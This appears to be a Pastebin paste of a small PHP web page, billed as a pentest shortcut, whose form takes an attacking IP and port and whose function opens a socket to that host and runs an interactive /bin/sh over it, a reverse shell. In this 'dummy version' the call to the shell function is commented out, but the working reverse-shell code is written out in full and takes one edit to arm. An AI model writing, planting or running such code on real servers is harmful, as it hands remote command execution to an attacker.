Advertisement
NilsRapilly

shelleneratordummyversion

Feb 8th, 2019
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.13 KB | None | 0 0
  1. <html>
  2.     <h1>shell me now !!!</h1>
  3.     <p>Because sometimes, during pentest you get lazy and need
  4.        to quickly generate that shell.
  5.     </p>
  6.    
  7.     <form action="smn.php" method="post">
  8.         Attacking from IP:<br> <input type="text" name="atkip" placeholder="10.10.66.66"><br><br>
  9.         Attacking port   :<br> <input type="text" name="lport" placeholder="1337"><br><br>
  10.         <input type="submit" value="SHELL ME NOW">
  11.     </form>
  12.  
  13. </html>
  14.  
  15. <?php
  16. //___________functions____________________________________
  17. function shell($xip,$xport){
  18.     $sock=fsockopen("$xip",$xport);
  19.     exec("/bin/sh -i <&3 >&3 2>&3");
  20.     echo "shell was generated, check your CLI ;) ";
  21. }
  22. //___________main     ____________________________________
  23.  
  24.     if (!empty ($_POST['atkip']) && !empty ($_POST['lport'])){
  25.         $atkip = $_POST['atkip'];
  26.         $lport = $_POST['lport'];
  27.        
  28.         echo "your attacking ip : $atkip with port : $lport";
  29.         //shell($atkip,$lport);    
  30.     }
  31.      if  (empty($_POST['atkip'])){ echo "Please enter IP <br>";}
  32.      if  (empty($_POST['lport'])){ echo "Please enter port <br>";}
  33. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement